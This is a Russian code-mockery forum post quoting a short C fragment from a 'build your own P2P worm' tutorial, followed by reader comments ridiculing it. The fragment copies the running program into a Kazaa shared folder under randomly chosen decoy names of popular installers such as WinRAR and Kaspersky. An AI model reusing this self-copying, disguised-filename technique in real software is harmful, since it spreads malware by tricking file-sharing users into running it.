1. Си / Говнокод #6991

    +135

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    randomize(); //Включаем генератор случайных чисел.
    ra = random(11)+1; //Генерим число от 1 до 11 и если выбрали то переходим вниз по коду.
    switch (ra)
    {
    case 1 : strcat(KazaaFull, "\\winamp502_full.exe"); break;
    case 2 : strcat(KazaaFull, "\\spdialer.exe"); break;
    case 3 : strcat(KazaaFull, "\\rammstein.scr"); break;
    case 4 : strcat(KazaaFull, "\\mozilla-1.6-win32-installer.exe"); break;
    case 5 : strcat(KazaaFull, "\\cdex_160_enu.exe"); break;
    //Присоединяем к пути новое имя.
    case 6 : strcat(KazaaFull, "\\kavperspro45rus.exe"); break;
    //Я говорил про запасную переменную.
    case 7 : strcat(KazaaFull, "\\restorator_4.0.exe"); break;
    // Мы юзаем "\\" потому что так нужно.
    case 8 : strcat(KazaaFull, "\\win_rar330.exe"); break;
    case 9 : strcat(KazaaFull, "\\mdialer_4.exe"); break;
    case 10 : strcat(KazaaFull, "\\apache_1.3.22-PL30.9-win32-x86.exe"); break;
    case 11 : strcat(KazaaFull, "\\offline_explorer_3.0_setup.exe"); break;
    }
    CopyFile(myname, KazaaFull, FALSE);
    //Ну и копируем свое тело в папку KazaaFull

    http://www.makak.ru/2007/11/09/wormp2p-svoimi-rukami/

    Запостил: 57fecfc99e2e4e2a, 18 Июня 2011

    Комментарии (19) RSS

    • Говнотроян?
      Ответить
      • говночервь
        "rammstein.scr" позабавило
        Ответить
      • Нашел оригинал. Смеялся. Мне вот интересно, а когда выходит новая версия «часто используемых программ», то нужно перекомпилировать этот, так сказать, «червь»?

        «Мы юзаем "\\" потому что так нужно» — шикарно, учим очередное поколение быдлокодеров, умеющих только копипастить куски кода, не вдаваясь, почему он написан именно так.
        Ответить
        • Про экранирование это нормально, если учитывать уровень читателей сего технобложика. Гораздо интереснее тупость писателя:
          hwnd - Это переменная типа данных HWND - Дескриптор окна, это как у людей есть ИНН так у окон есть дескрипторы, но они не постоянны.
          вот этот рассказ про GetModuleFileName - настоящий брильянт
          Ответить
          • makak же
            Ответить
            • ну вообще макаки они отностительно хорошо соображают
              Ответить
          • >Про экранирование это нормально, если учитывать уровень читателей сего технобложика

            >хакер — чрезвычайно квалифицированный ИТ-специалист, человек, который понимает самые основы работы компьютерных систем.

            Я один тут вижу противоречие?

            >Гораздо интереснее тупость писателя:

            как кто-то там говорил, не умеешь работать - учи (а не умеешь учить - руководи)
            Ответить
            • Видимо, человек не умеет выражать свои мысли, а под самыми основами понимал доскональное знание работы этих самых систем))))
              Ответить
            • > противоречие
              на журнале "хакер" написано, сунешься - а там "страна игр"
              Ответить
              • на заборе тоже пишут ХУЙ, а за забором - НИХУЯ. Я проверял
                Ответить
          • Bydlo cannot into HWND
            Ответить
    • >kak otnevo izbavitisia
      Ответить
      • На утюге нету кириллической раскладки?
        Ответить
        • их ещё usb снабжать не начали?
          Ответить
        • меня радует что по крайней мере автор осилил кириллицу в с-исходнике.
          прогресс.
          Ответить
    • >Ну и копируем свое тело в папку KazaaFull
      пиздец страшный он человек
      Ответить
    • показать все, что скрытоvanished
      Ответить

    Добавить комментарий